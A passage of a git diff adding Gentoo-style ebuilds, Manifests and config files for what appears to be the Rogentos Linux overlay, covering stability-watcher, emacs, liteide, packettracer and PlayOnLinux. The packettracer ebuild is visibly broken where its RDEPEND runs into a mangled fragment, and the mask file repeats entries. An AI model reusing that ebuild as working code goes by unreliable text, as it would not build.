/opt/RoSeInstaller/RoSeInstaller.py +EOF + + insinto /usr/share/applications/ + doins "${FILESDIR}"/RoSeInstaller.desktop + + fperms 755 /usr/bin/RoSeInstaller + + insinto /etc/skel/Desktop + doins "${FILESDIR}"/RoSeInstaller.desktop +} diff --git a/app-admin/stability-watcher/Manifest b/app-admin/stability-watcher/Manifest new file mode 100644 index 00000000..ea2322c8 --- /dev/null +++ b/app-admin/stability-watcher/Manifest @@ -0,0 +1,3 @@ +AUX 07-rogentos-packages.mask 2510 SHA256 49018d312861811c8e1544365b4100fffd94412e6a0df2d8b3eacd07f5de575a SHA512 d548d851cba1bb2a2b3bcecb2f6604e665a6cd6aee1ba5b00b70a377bdbe9d70eba0cfb380345d3b09149168f95dc25612d507d4d180e3086909e8ca1ffbe641 WHIRLPOOL e3db099b873eba1a990d63ff047b9fe0b6d15672a97e9d9865e872d08277631865e9d28026055edcba17f719379a850a326f27b68eb5bbb1e8f94cacbc5bd63f +AUX entropy_sabayonlinux.org 351 SHA256 4145eab1e83a6615d5f2931f798ec43ba97f395ff54ea0909a409833d5009abb SHA512 9bccbd9039edb8a19b150f27a9d567e6032d5ae3bb74f12102cd646a8c447794fa8b78f8bf1a86a3536717789496333824694f54274890d4eb382c5e1b1cd363 WHIRLPOOL 9f7f1a56f34b998f9136fe9b2784549281c48843d49e5d4d5f826fa11699debab1113c8326d5f223746304d98a8473e8b08b1eaeb4dae4464cc1c8dbdbdfaa0b +EBUILD stability-watcher-0.1.ebuild 786 SHA256 261aae34a1409be87d2a6b620aed2df727fdf7c1c5db657c793cd15017d3e78d SHA512 30e1408164f5a9599de9fe8ee5927990282b98af669371b25ef08ae00890728eb214b313c5623c8b893c8031781e6d3b87a53992cc7c6b79492d89ba941e1347 WHIRLPOOL 21f7ad68b4ade50a47b9c1d868e88579358f27c4df75bea602fa98b72ff64be9eac52ee9212066f52d66e0adbdd1ec901745d227160c4612c8316b8663c301ab diff --git a/app-admin/stability-watcher/files/07-rogentos-packages.mask b/app-admin/stability-watcher/files/07-rogentos-packages.mask new file mode 100644 index 00000000..d546424d --- /dev/null +++ b/app-admin/stability-watcher/files/07-rogentos-packages.mask @@ -0,0 +1,71 @@ +>=sys-apps/openrc-0.9@sabayon-limbo +>=sys-apps/openrc-0.9@sabayonlinux.org +>=sys-apps/openrc-0.9@sabayon-weekly + +>=app-misc/sabayonlive-tools-2.3@sabayon-limbo +>=app-misc/sabayonlive-tools-2.3@sabayonlinux.org +>=app-misc/sabayonlive-tools-2.3@sabayon-weekly + +>=app-misc/sabayon-skel-9@sabayon-limbo +>=app-misc/sabayon-skel-9@sabayonlinux.org +>=app-misc/sabayon-skel-9@sabayon-weekly + +>=sys-boot/grub-2.00@sabayon-limbo +>=sys-boot/grub-2.00@sabayonlinux.org +>=sys-boot/grub-2.00@sabayon-weekly + +>=kde-base/oxygen-icons-4.9.2@sabayon-weekly +>=kde-base/oxygen-icons-4.9.2@sabayonlinux.org +>=kde-base/oxygen-icons-4.9.2@sabayon-limbo + +>=x11-themes/gnome-colors-common-5.5.1@sabayon-weekly +>=x11-themes/gnome-colors-common-5.5.1@sabayonlinux.org +>=x11-themes/gnome-colors-common-5.5.1@sabayon-limbo + +>=x11-themes/tango-icon-theme-0.8.90@sabayon-weekly +>=x11-themes/tango-icon-theme-0.8.90@sabayonlinux.org +>=x11-themes/tango-icon-theme-0.8.90@sabayon-limbo + +>=x11-themes/elementary-icon-theme-2.7.1@sabayon-weekly +>=x11-themes/elementary-icon-theme-2.7.1@sabayonlinux.org +>=x11-themes/elementary-icon-theme-2.7.1@sabayon-limbo + +>=lxde-base/lxdm-0.4.1-r5@sabayon-weekly +>=lxde-base/lxdm-0.4.1-r5@sabayonlinux.org +>=lxde-base/lxdm-0.4.1-r5@sabayon-limbo + +>=sys-boot/grub-2.00@sabayon-limbo +>=sys-boot/grub-2.00@sabayonlinux.org +>=sys-boot/grub-2.00@sabayon-weekly + +>=kde-base/oxygen-icons-4.9.2@sabayon-weekly +>=kde-base/oxygen-icons-4.9.2@sabayonlinux.org +>=kde-base/oxygen-icons-4.9.2@sabayon-limbo + +>=x11-themes/gnome-colors-common-5.5.1@sabayon-weekly +>=x11-themes/gnome-colors-common-5.5.1@sabayonlinux.org +>=x11-themes/gnome-colors-common-5.5.1@sabayon-limbo + +>=x11-themes/tango-icon-theme-0.8.90@sabayon-weekly +>=x11-themes/tango-icon-theme-0.8.90@sabayonlinux.org +>=x11-themes/tango-icon-theme-0.8.90@sabayon-limbo + +>=x11-themes/elementary-icon-theme-2.7.1@sabayon-weekly +>=x11-themes/elementary-icon-theme-2.7.1@sabayonlinux.org +>=x11-themes/elementary-icon-theme-2.7.1@sabayon-limbo + +>=lxde-base/lxdm-0.4.1-r5@sabayon-weekly +>=lxde-base/lxdm-0.4.1-r5@sabayonlinux.org +>=lxde-base/lxdm-0.4.1-r5@sabayon-limbo + +>=sys-apps/gpu-detector-1@sabayon-weekly +>=sys-apps/gpu-detector-1@sabayonlinux.org +>=sys-apps/gpu-detector-1@sabayon-limbo + +>=app-admin/anaconda-0.1@sabayon-weekly +>=app-admin/anaconda-0.1@sabayonlinux.org +>=app-admin/anaconda-0.1@sabayon-limbo + +>=app-misc/anaconda-runtime-1.1-r1@sabayon-weekly +>=app-misc/anaconda-runtime-1.1-r1@sabayonlinux.org +>=app-misc/anaconda-runtime-1.1-r1@sabayon-limbo diff --git a/app-admin/stability-watcher/files/entropy_sabayonlinux.org b/app-admin/stability-watcher/files/entropy_sabayonlinux.org new file mode 100644 index 00000000..ee10eaad --- /dev/null +++ b/app-admin/stability-watcher/files/entropy_sabayonlinux.org @@ -0,0 +1,3 @@ +repository|rogentoslinux|Rogentos Linux Official Repository|http://pkg.rogentos.ro/~rogentos/entropy/|http://pkg.rogentos.ro/~rogentos/entropy#bz2 +repository|rogentoslinux|Rogentos Linux Official Repository|http://pkg2.rogentos.ro/~noxis/entropy/| +repository|rogentoslinux|Rogentos Linux Official Repository|http://pkg.rogentos.ro/~rogentos/entropy/| diff --git a/app-admin/stability-watcher/stability-watcher-0.1.ebuild b/app-admin/stability-watcher/stability-watcher-0.1.ebuild new file mode 100644 index 00000000..750ada13 --- /dev/null +++ b/app-admin/stability-watcher/stability-watcher-0.1.ebuild @@ -0,0 +1,32 @@ +# Copyright 2012 Rogentos Linux +# Distributed under the terms of the GNU General Public License v2 +# Maintainer BlackNoxis +# $Header: $ + +EAPI=4 + +DESCRIPTION="Offical Rogentos Stability Watcher" +HOMEPAGE="http://www.rogentos.ro" +SRC_URI="" + +LICENSE="GPL-v2" +SLOT="0" +KEYWORDS="~arm ~x86 ~amd64" +IUSE="" +RDEPEND="sys-apps/openrc" +DEPEND="${RDEPEND}" + +S="${WORKDIR}" + +src_install() { + ewarn "This is available for only Entropy package manager" || die + insinto /etc/entropy/packages/package.mask.d/ + doins "${FILESDIR}"/07-rogentos-packages.mask || die + #insinto /etc/entropy/repositories.conf.d/ + #doins "${FILESDIR}"/entropy_sabayonlinux.org || die +} + +pkg_postinst() { + einfo "Please report bugs or glitches to" + einfo "BlackNoxis" +} diff --git a/app-editors/emacs/Manifest b/app-editors/emacs/Manifest new file mode 100644 index 00000000..724e3b90 --- /dev/null +++ b/app-editors/emacs/Manifest @@ -0,0 +1,3 @@ +DIST emacs-24.2-patches-2.tar.xz 2912 SHA256 7586c4767ff7b74f815b321cdc69e01eb991276ff1bb96b7b62660a5722ed69c SHA512 d1da7677c7a4b58ac0972c98272b195f2201ab449416d3d1b78be72371fefd88d699af1a8e171397bb92324e7cf38c0f09f88fcd98e05a2427ce5d729d702c0e WHIRLPOOL 27281987a2f250514977f92cf90e10d5f6f2ebe35d107add3e33b649e3623b58398f8369f68e948caa87a63037695cb462b4950b7a87fcc0bf36d90a6005d777 +DIST emacs-24.2.tar.xz 34712012 SHA256 1f11b65520611d108eceea886cc1d2573704e18b19aded8a09b75fdea7eb0ddd SHA512 7627d985e9691dd5b5f2a14472592bc1da96ce90823ff50457bb5c20b6e746912b319befff5fb1dac024e1f150df6b7c687ee2cc785f5b7387885244f511bdbd WHIRLPOOL 37a2f8e45a7b3364728f9f99b0661a60355b93f19d745de505dc71b9d8a2ab4de6b4b75a104830da2bcc8d1b3d22539e5f52c85d2f104d8de0dcd0dd69dc9924 +EBUILD emacs-24.2.ebuild 10964 SHA256 7227b0c7167822bd0d9325e86a1b0ca86d5f3517e358541cf378706454d44cdd SHA512 6c4f9d5e76de9056f3d928ec61b773a0aa55c84b3cddf5d71d2a3a9e06a7436b6d3381a5d10c6fb0606a766780b3384674d0ec62d356214696ff7914d178dd59 WHIRLPOOL 577563851f669e4d3c32c91e8e7ff6448e9ab6206098eec160027691456a77a5fe16f92b5b038638b21e4718934a05fb0ec6f6eca8d5c0754fa0b2a36397caf3 diff --git a/app-editors/emacs/emacs-24.2.ebuild b/app-editors/emacs/emacs-24.2.ebuild new file mode 100644 index 00000000..82267d0f --- /dev/null +++ b/app-editors/emacs/emacs-24.2.ebuild @@ -0,0 +1,336 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-editors/emacs/emacs-24.2.ebuild,v 1.11 2012/10/24 18:52:43 ulm Exp $ + +EAPI=4 + +inherit autotools elisp-common eutils flag-o-matic multilib + +DESCRIPTION="The extensible, customizable, self-documenting real-time display editor" +HOMEPAGE="http://www.gnu.org/software/emacs/" +SRC_URI="mirror://gnu/emacs/${P}.tar.xz + mirror://gentoo/${P}-patches-2.tar.xz" + +LICENSE="GPL-3+ FDL-1.3+ BSD HPND MIT W3C unicode PSF-2" +SLOT="24" +KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 s390 sh sparc x86 ~amd64-fbsd ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos ~sparc-solaris ~x86-solaris" +IUSE="alsa aqua athena dbus games gconf gif gnutls gpm gsettings gtk gtk3 gzip-el hesiod imagemagick jpeg kerberos libxml2 livecd m17n-lib motif pax_kernel png selinux sound source svg tiff toolkit-scroll-bars wide-int X Xaw3d xft +xpm" +REQUIRED_USE="aqua? ( !X )" + +RDEPEND="sys-libs/ncurses + >=app-admin/eselect-emacs-1.2 + >=app-emacs/emacs-common-gentoo-1.3-r3[games?,X?] + net-libs/liblockfile + hesiod? ( net-dns/hesiod ) + kerberos? ( virtual/krb5 ) + alsa? ( media-libs/alsa-lib ) + gpm? ( sys-libs/gpm ) + dbus? ( sys-apps/dbus ) + gnutls? ( net-libs/gnutls ) + libxml2? ( >=dev-libs/libxml2-2.2.0 ) + selinux? ( sys-libs/libselinux ) + X? ( + x11-libs/libXmu + x11-libs/libXt + x11-misc/xbitmaps + gconf? ( >=gnome-base/gconf-2.26.2 ) + gsettings? ( >=dev-libs/glib-2.28.6 ) + gif? ( media-libs/giflib ) + jpeg? ( virtual/jpeg ) + png? ( >=media-libs/libpng-1.4:0 ) + svg? ( >=gnome-base/librsvg-2.0 ) + tiff? ( media-libs/tiff ) + xpm? ( x11-libs/libXpm ) + imagemagick? ( >=media-gfx/imagemagick-6.6.2 ) + xft? ( + media-libs/fontconfig + media-libs/freetype + x11-libs/libXft + m17n-lib? ( + >=dev-libs/libotf-0.9.4 + >=dev-libs/m17n-lib-1.5.1 + ) + ) + gtk? ( + gtk3? ( x11-libs/gtk+:3 ) + !gtk3? ( x11-libs/gtk+:2 ) + ) + !gtk? ( + Xaw3d? ( x11-libs/libXaw3d ) + !Xaw3d? ( + athena? ( x11-libs/libXaw ) + !athena? ( motif? ( >=x11-libs/motif-2.3:0 ) ) + ) + ) + )" + +DEPEND="${RDEPEND} + app-arch/xz-utils + alsa? ( virtual/pkgconfig ) + dbus? ( virtual/pkgconfig ) + gnutls? ( virtual/pkgconfig ) + libxml2? ( virtual/pkgconfig ) + X? ( virtual/pkgconfig ) + gzip-el? ( app-arch/gzip ) + pax_kernel? ( sys-apps/paxctl )" + +EMACS_SUFFIX="emacs-${SLOT}" +SITEFILE="20${PN}-${SLOT}-gentoo.el" +# FULL_VERSION keeps the full version number, which is needed in +# order to determine some path information correctly for copy/move +# operations later on +FULL_VERSION="${PV%%_*}" +S="${WORKDIR}/emacs-${FULL_VERSION}" + +src_prepare() { + EPATCH_SUFFIX=patch epatch + epatch_user + + if ! use alsa; then + # ALSA is detected even if not requested by its USE flag. + # Suppress it by supplying pkg-config with a wrong library name. + sed -i -e "/ALSA_MODULES=/s/alsa/DiSaBlEaLsA/" configure.in \ + || die "unable to sed configure.in" + fi + if ! use gzip-el; then + # Emacs' build system automatically detects the gzip binary and + # compresses el files. We don't want that so confuse it with a + # wrong binary name + sed -i -e "s/ gzip/ PrEvEnTcOmPrEsSiOn/" configure.in \ + || die "unable to sed configure.in" + fi + + AT_M4DIR=m4 eautoreconf +} + +src_configure() { + strip-flags + + if use sh; then + replace-flags "-O[1-9]" -O0 #262359 + elif use ia64; then + replace-flags "-O[2-9]" -O1 #325373 + else + replace-flags "-O[3-9]" -O2 + fi + + local myconf + + if use alsa && ! use sound; then + einfo "Although sound USE flag is disabled you chose to have alsa," + einfo "so sound is switched on anyway." + myconf="${myconf} --with-sound" + else + myconf="${myconf} $(use_with sound)" + fi + + if use X; then + myconf="${myconf} --with-x --without-ns" + myconf="${myconf} $(use_with gconf)" + myconf="${myconf} $(use_with gsettings)" + myconf="${myconf} $(use_with toolkit-scroll-bars)" + myconf="${myconf} $(use_with gif) $(use_with jpeg)" + myconf="${myconf} $(use_with png) $(use_with svg rsvg)" + myconf="${myconf} $(use_with tiff) $(use_with xpm)" + myconf="${myconf} $(use_with imagemagick)" + + if use xft; then + myconf="${myconf} --with-xft" + myconf="${myconf} $(use_with m17n-lib libotf)" + myconf="${myconf} $(use_with m17n-lib m17n-flt)" + else + myconf="${myconf} --without-xft" + myconf="${myconf} --without-libotf --without-m17n-flt" + use m17n-lib && ewarn \ + "USE flag \"m17n-lib\" has no effect if \"xft\" is not set." + fi + + if use gtk; then + einfo "Configuring to build with GIMP Toolkit (GTK+)" + myconf="${myconf} --with-x-toolkit=$(usev gtk3 || echo gtk)" + local f + for f in athena Xaw3d motif; do + use ${f} && ewarn "USE flag \"${f}\" ignored" \ + "(superseded by \"gtk\")" + done + elif use athena || use Xaw3d; then + einfo "Configuring to build with Athena/Lucid toolkit" + myconf="${myconf} --with-x-toolkit=lucid $(use_with Xaw3d xaw3d)" + use motif && ewarn "USE flag \"motif\" ignored" \ + "(superseded by \"athena\" or \"Xaw3d\")" + elif use motif; then + einfo "Configuring to build with Motif toolkit" + myconf="${myconf} --with-x-toolkit=motif" + else + einfo "Configuring to build with no toolkit" + myconf="${myconf} --with-x-toolkit=no" + fi + + ! use gtk && use gtk3 \ + && ewarn "USE flag \"gtk3\" has no effect if \"gtk\" is not set." + elif use aqua; then + einfo "Configuring to build with Cocoa support" + myconf="${myconf} --with-ns --disable-ns-self-contained" + myconf="${myconf} --without-x" + else + myconf="${myconf} --without-x --without-ns" + fi + + # Save version information in the Emacs binary. It will be available + # in variable "system-configuration-options". + myconf="${myconf} GENTOO_PACKAGE=${CATEGORY}/${PF}" + + # According to configure, this option is only used for GNU/Linux + # (x86_64 and s390). For Gentoo Prefix we have to explicitly spell + # out the location because $(get_libdir) does not necessarily return + # something that matches the host OS's libdir naming (e.g. RHEL). + local crtdir=$($(tc-getCC) -print-file-name=crt1.o) + crtdir=${crtdir%/*} + + econf \ + --program-suffix=-${EMACS_SUFFIX} \ + --infodir="${EPREFIX}"/usr/share/info/${EMACS_SUFFIX} \ + --enable-locallisppath="${EPREFIX}/etc/emacs:${EPREFIX}${SITELISP}" \ + --with-crt-dir="${crtdir}" \ + --with-gameuser="${GAMES_USER_DED:-games}" \ + --without-compress-info \ + --disable-maintainer-mode \ + $(use_with hesiod) \ + $(use_with kerberos) $(use_with kerberos kerberos5) \ + $(use_with gpm) \ + $(use_with dbus) \ + $(use_with gnutls) \ + $(use_with libxml2 xml2) \ + $(use_with selinux) \ + $(use_with wide-int) \ + ${myconf} +} + +src_compile() { + export SANDBOX_ON=0 # for the unbelievers, see Bug #131505 + emake CC="$(tc-getCC)" +} + +src_install () { + emake DESTDIR="${D}" install + + rm "${ED}"/usr/bin/emacs-${FULL_VERSION}-${EMACS_SUFFIX} \ + || die "removing duplicate emacs executable failed" + mv "${ED}"/usr/bin/emacs-${EMACS_SUFFIX} "${ED}"/usr/bin/${EMACS_SUFFIX} \ + || die "moving Emacs executable failed" + + # move man pages to the correct place + local m + for m in "${ED}"/usr/share/man/man1/* ; do + mv "${m}" "${m%.1}-${EMACS_SUFFIX}.1" || die "mv man failed" + done + + # move info dir to avoid collisions with the dir file generated by portage + mv "${ED}"/usr/share/info/${EMACS_SUFFIX}/dir{,.orig} \ + || die "moving info dir failed" + touch "${ED}"/usr/share/info/${EMACS_SUFFIX}/.keepinfodir + docompress -x /usr/share/info/${EMACS_SUFFIX}/dir.orig + + # avoid collision between slots, see bug #169033 e.g. + rm "${ED}"/usr/share/emacs/site-lisp/subdirs.el + rm -rf "${ED}"/usr/share/{applications,icons} + rm -rf "${ED}"/var + + # remove unused /site-lisp dir + rm -rf "${ED}"/usr/share/emacs/${FULL_VERSION}/site-lisp + + local c=";;" + if use source; then + insinto /usr/share/emacs/${FULL_VERSION}/src + # This is not meant to install all the source -- just the + # C source you might find via find-function + doins src/*.{c,h,m} + doins -r src/{m,s} + rm "${ED}"/usr/share/emacs/${FULL_VERSION}/src/{m,s}/README + c="" + fi + + sed 's/^X//' >"${T}/${SITEFILE}" <<-EOF + X + ;;; ${PN}-${SLOT} site-lisp configuration + X + (when (string-match "\\\\\`${FULL_VERSION//./\\\\.}\\\\>" emacs-version) + X ${c}(setq find-function-C-source-directory + X ${c} "${EPREFIX}/usr/share/emacs/${FULL_VERSION}/src") + X (let ((path (getenv "INFOPATH")) + X (dir "${EPREFIX}/usr/share/info/${EMACS_SUFFIX}") + X (re "\\\\\`${EPREFIX}/usr/share/info\\\\>")) + X (and path + X ;; move Emacs Info dir before anything else in /usr/share/info + X (let* ((p (cons nil (split-string path ":" t))) (q p)) + X (while (and (cdr q) (not (string-match re (cadr q)))) + X (setq q (cdr q))) + X (setcdr q (cons dir (delete dir (cdr q)))) + X (setq Info-directory-list (prune-directory-list (cdr p))))))) + EOF + elisp-site-file-install "${T}/${SITEFILE}" || die + + dodoc README BUGS + + if use aqua; then + dodir /Applications/Gentoo + rm -rf "${ED}"/Applications/Gentoo/Emacs${EMACS_SUFFIX#emacs}.app + mv nextstep/Emacs.app \ + "${ED}"/Applications/Gentoo/Emacs${EMACS_SUFFIX#emacs}.app || die + elog "Emacs${EMACS_SUFFIX#emacs}.app is in ${EPREFIX}/Applications/Gentoo." + elog "You may want to copy or symlink it into /Applications by yourself." + fi +} + +pkg_preinst() { + # move Info dir file to correct name + local infodir=/usr/share/info/${EMACS_SUFFIX} f + if [[ -f ${ED}${infodir}/dir.orig ]]; then + mv "${ED}"${infodir}/dir{.orig,} || die "moving info dir failed" + elif [[ -d "${ED}"${infodir} ]]; then + # this should not happen in EAPI 4 + ewarn "Regenerating Info directory index in ${infodir} ..." + rm -f "${ED}"${infodir}/dir{,.*} + for f in "${ED}"${infodir}/*; do + if [[ ${f##*/} != *-[0-9]* && -e ${f} ]]; then + install-info --info-dir="${ED}"${infodir} "${f}" \ + || die "install-info failed" + fi + done + fi +} + +pkg_postinst() { + elisp-site-regen + + if use livecd; then + # force an update of the emacs symlink for the livecd/dvd, + # because some microemacs packages set it with USE=livecd + eselect emacs update + else + eselect emacs update ifunset + fi + + if use X; then + elog "You need to install some fonts for Emacs." + elog "Installing media-fonts/font-adobe-{75,100}dpi on the X server's" + elog "machine would satisfy basic Emacs requirements under X11." + elog "See also http://www.gentoo.org/proj/en/lisp/emacs/xft.xml" + elog "for how to enable anti-aliased fonts." + elog + fi + + elog "You can set the version to be started by /usr/bin/emacs through" + elog "the Emacs eselect module, which also redirects man and info pages." + elog "Therefore, several Emacs versions can be installed at the same time." + elog "\"man emacs.eselect\" for details." + elog + elog "If you upgrade from a previous major version of Emacs, then it is" + elog "strongly recommended that you use app-admin/emacs-updater to rebuild" + elog "all byte-compiled elisp files of the installed Emacs packages." +} + +pkg_postrm() { + elisp-site-regen + eselect emacs update ifunset +} diff --git a/app-editors/liteide/Manifest b/app-editors/liteide/Manifest new file mode 100644 index 00000000..92ba8ba1 --- /dev/null +++ b/app-editors/liteide/Manifest @@ -0,0 +1 @@ +EBUILD liteide-9999.ebuild 2087 SHA256 9e7949902f239ec97b40b6dc9ec4c37ee6c794057b59caf421c6bcfbfa704f77 SHA512 7369cdf6558b2deef1e783069f4365a0054d58d9a9100506ca67bfaf3b23a64b06647aa0380352fa983c8effe49e692ebe89179cbc8aa9adf697a91a2f4d0a12 WHIRLPOOL c49c42ac194d7d1a1cef66ee8069469dc37abd903bb2ba550ed07fcf54d1ca0af7732cb42ec8457e4f755e30cc5de5975d657fcbb765ed35481e487d2787c118 diff --git a/app-editors/liteide/liteide-9999.ebuild b/app-editors/liteide/liteide-9999.ebuild new file mode 100644 index 00000000..934bf7bc --- /dev/null +++ b/app-editors/liteide/liteide-9999.ebuild @@ -0,0 +1,90 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="5" +inherit qt4-r2 git-2 + +DESCRIPTION="LiteIDE is a simple, open source, cross-platform Go IDE." +HOMEPAGE="http://code.google.com/p/liteide" +EGIT_REPO_URI="https://github.com/visualfc/liteide.git" + +LICENSE="LGPL-2.1" +KEYWORDS="" +SLOT="0" +IUSE="ordered" + +DEPEND="dev-lang/go + dev-qt/qtgui + dev-qt/qtdbus + dev-qt/qtwebkit + dev-lang/go + dev-qt/qtgui + dev-qt/qtdbus + dev-qt/qtwebkit" +RDEPEND="${DEPEND}" + +S="${WORKDIR}"/"${PN}"-"${PV}"/ + +src_prepare() { + qt4-r2_src_prepare +} + +src_configure() { + local conf_release + local conf_ordered + + if use ordered ; then + conf_ordered="CONFIG+=ordered" + conf_release="" + else + conf_release="CONFIG+=release" + conf_ordered="" + fi + + cd "${S}"/liteidex/ + eqmake4 "${S}"/liteidex/liteidex.pro "PREFIX=${EPREFIX}/usr" "LIBDIR=/usr/$(get_libdir)" ${conf_release} ${conf_ordered} +} + +src_install() { + cd "${S}"/liteidex/ + qt4-r2_src_install DESTDIR="${D}"opt/${PN}/ INSTALL_ROOT="${D}"opt/${PN}/ || die + + export GOPATH=$(pwd) + + # Go Tools + go install -ldflags "-s" -v tools/goastview + go install -ldflags "-s" -v tools/godocview + go install -ldflags "-s" -v tools/goexec + go install -ldflags "-s" -v tools/goapi + + # Licence & Readme + dodoc LICENSE.LGPL LGPL_EXCEPTION.TXT ../README.md + + # Binaries + insinto /opt/${PN}/bin + doins "${S}"/liteidex/${PN}/bin/* + doins "${S}"/liteidex/bin/* + + # Plugins + insinto /opt/${PN}/lib/${PN}/plugins/ + doins "${S}"/liteidex/${PN}/lib/${PN}/plugins/*.so + + # Documentation + insinto /opt/${PN}/share/${PN}/ + doins -r "${S}"/liteidex/deploy/* + doins -r "${S}"/liteidex/os_deploy/* + + # QT Libraries + addread /usr/$(get_libdir)/qt4/ + insinto /opt/${PN}/lib/${PN} + doins /usr/$(get_libdir)/qt4/libQtCore.so* + doins /usr/$(get_libdir)/qt4/libQtXml.so* + doins /usr/$(get_libdir)/qt4/libQtNetwork.so* + doins /usr/$(get_libdir)/qt4/libQtGui.so* + doins /usr/$(get_libdir)/qt4/libQtDBus.so* + doins /usr/$(get_libdir)/qt4/libQtWebKit.so* + + fperms u+x /opt/${PN}/bin/liteide + fperms u+x /opt/${PN}/bin/go* +} diff --git a/app-emulation/packettracer/Manifest b/app-emulation/packettracer/Manifest new file mode 100644 index 00000000..ff160046 --- /dev/null +++ b/app-emulation/packettracer/Manifest @@ -0,0 +1,2 @@ +DIST PacketTracer533_Generic_Fedora.tar.gz 105596078 RMD160 4f38b8ffcc2da286664a902da85d22c9952e4268 SHA1 9f1c348feb86ec3419e0d9c6cd5327ff26197ad4 SHA256 63bc7c285d1dd34dbd2fb00537456097a238ffcd530f1282f78b225273a03fdf +EBUILD packettracer-533.ebuild 2663 RMD160 11322bd76e11043a89afb1a831428bc58bbe9c2a SHA1 a00b86b060b950772ba2e171932de9767e80c9fd SHA256 b2894b3747e493bacf0389973c5959e8a0a7141519b3ea98324e0937b777f63a diff --git a/app-emulation/packettracer/packettracer-533.ebuild b/app-emulation/packettracer/packettracer-533.ebuild new file mode 100644 index 00000000..99064db2 --- /dev/null +++ b/app-emulation/packettracer/packettracer-533.ebuild @@ -0,0 +1,102 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +MY_PN="PacketTracer" +MY_PT="${MY_PN}${PV}" + +inherit eutils fdo-mime multilib + +DESCRIPTION="Cisco's Packet Tracer" +HOMEPAGE="https://www.cisco.com/web/learning/netacad/course_catalog/PacketTracer.html" +SRC_URI="http://pkg.rogentos.ro/~rogentos/${CATEGORY}/${MY_PT}_Generic_Fedora.tar.gz" + +RESTRICT="fetch mirror strip" +LICENSE="Cisco_EULA" + +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="doc online-exam" + +DEPEND="app-arch/gzip" + +RDEPEND="doc? ( www-plugins/adobe-flash ) + amd64? ( app-emulation/emul-linux-x86-compat + >=app-emulation/emul-linux-x86-qtlibs-20081109 ) + ! ABI=x86 + has_multilib_profile && ABI="x86" +} + +pkg_nofetch () { + ewarn "To fetch sources you need cisco account which is available in case" + ewarn "you are cisco web-learning student, instructor or you sale cisco hardware, etc.. " + einfo "" + einfo "" + einfo "After that point your browser at http://cisco.netacad.net/" + einfo "Login, go to PacketTracer image and download:" + einfo "Packet Tracer v5.3.2 Application + Tutorial Generic Fedora links (tar.gz) file" + einfo "" +} + +src_prepare(){ + + for file in install set_ptenv.sh tpl.linguist tpl.packettracer \ + extensions/ptaplayer bin/linguist; do + rm -fr ${file} || die "unable to rm ${file}" + done + use !doc && rm -fr "${S}/"help/default/tutorials +} + +src_install () { + + local PKT_HOME="/opt/pt/" + + dodir "${PKT_HOME}" + cp -R "${S}"/* "${D}${PKT_HOME}" || die "Install failed!" + + doicon "${S}/${PN}-${PV}/art/"{app,pka,pkt,pkz}.{ico,png} + + make_wrapper packettracer "./bin/PacketTracer5" "${PKT_HOME}${P}" "${PKT_HOME}${P}/lib" + make_desktop_entry "packettracer" "PacketTracer" "app" "Education;Emulator" + + insinto /usr/share/mime/applications + doins "${D}${PKT_HOME}${P}/bin/"*.xml + + rm -f "${D}${PKT_HOME}${MY_NAME}bin/"*.xml + + dodir /etc/env.d + echo PT5HOME="${PKT_HOME}/${P}" > "${D}/etc/env.d/50${MY_PN}" || die "env.d files install failed" +} + +pkg_postinst(){ + + fdo-mime_desktop_database_update + fdo-mime_mime_database_update + + if use doc ; then + einfo " You have doc USE flag" + einfo " For use documentaion , please" + einfo " install you prefered brouser and flashplayer support" + einfo " such mozilla or konqerror" + fi + + einfo "" + einfo " If you have multiuser enviroment" + einfo " you mist configure you firewall to use UPnP protocol." + einfo " Additional information see in packettracer user manual " + +} + +pkg_postrm() { + + fdo-mime_desktop_database_update + fdo-mime_mime_database_update + +} diff --git a/app-emulation/playonlinux/Manifest b/app-emulation/playonlinux/Manifest new file mode 100644 index 00000000..e40c46f4 --- /dev/null +++ b/app-emulation/playonlinux/Manifest @@ -0,0 +1,16 @@ +DIST PlayOnLinux_4.1.0.tar.gz 4010023 SHA256 d4131068ff86342b3fdd3a9e0613aef80500a103f6c5c4f5f4eb7393931e36e5 SHA512 b01cbf25bbb59f606dff7fd5ced5b5f96bf0d856f23353987e667fe2cc168909683cb819b4d8789f2b7561f608dad888f495b7cd679d3c826549871f8fbe673d WHIRLPOOL a19e083a8086203ca18791524a309d63c52910e21afcf06c36b3c7f170f6437550c4ca70900ed1f457bf82d58b26eb04a67a906c4b79261b77cfdcd0f9df1da3 +DIST PlayOnLinux_4.1.1.tar.gz 4010031 SHA256 eb314836ac798c7cbafdc76dc0660b2178610d3dc557d97aa7c72dfc0dee8e63 SHA512 4062f6a507e613bc46a118571fc0c6560b20adf3dd4707f581730bf1877a1fbbb234558bedd2b3be81c5ff8f9429dbc6c2030f9ad5b3b5174ff3908c3d0c43fd WHIRLPOOL 87270a50bc356cccd7347aca78d2fd63812701c8cc407b33b94636e11601d5d1bf9e7fefbf4c86195e1e4fd62506ba8c1a0e4107e93185552410ae6ec5004011 +DIST PlayOnLinux_4.1.3.tar.gz 4191726 SHA256 499bb79067237c238115fb3225d9bcc3b2d2fc62b6b9e2455feeac7a2c783ecd SHA512 0c67241ba659246ffd6b18421e482e028b4871ba0da98ec329599a81587ad18dbd983e3ea419a0c983a330771c78b3c28b76177f67bae530954f8f6419a86439 WHIRLPOOL ac596572aadf7e5a9fbbad3ddf5eec739af1555032e7d60a27840204cf201799684a38cc3d9761fae3f240d92fd886cab5d3d72e19a458c1b378111c0785568e +DIST PlayOnLinux_4.1.4.tar.gz 3999026 SHA256 304b2bb3431bc3d516976938bc633d4bbe2327e04c869f3bdfba05e232edab53 SHA512 f330602116efa25910f9e459a07ec59938fbc85e8d400fd6def7b48cac525ebd187b19eb9202f1801b56cd9d3dd8e6a5f8d664840afb973774ed540953705204 WHIRLPOOL d8bd7ad3e9b7b9ca27799fbfa7a651458e6569688c1d828c36e530c3119304d4f2331fb69f762e31285e5f5f35a8a37c5faf2bed05cf4fbed16d9dc642ce521f +DIST PlayOnLinux_4.1.5.tar.gz 3994564 SHA256 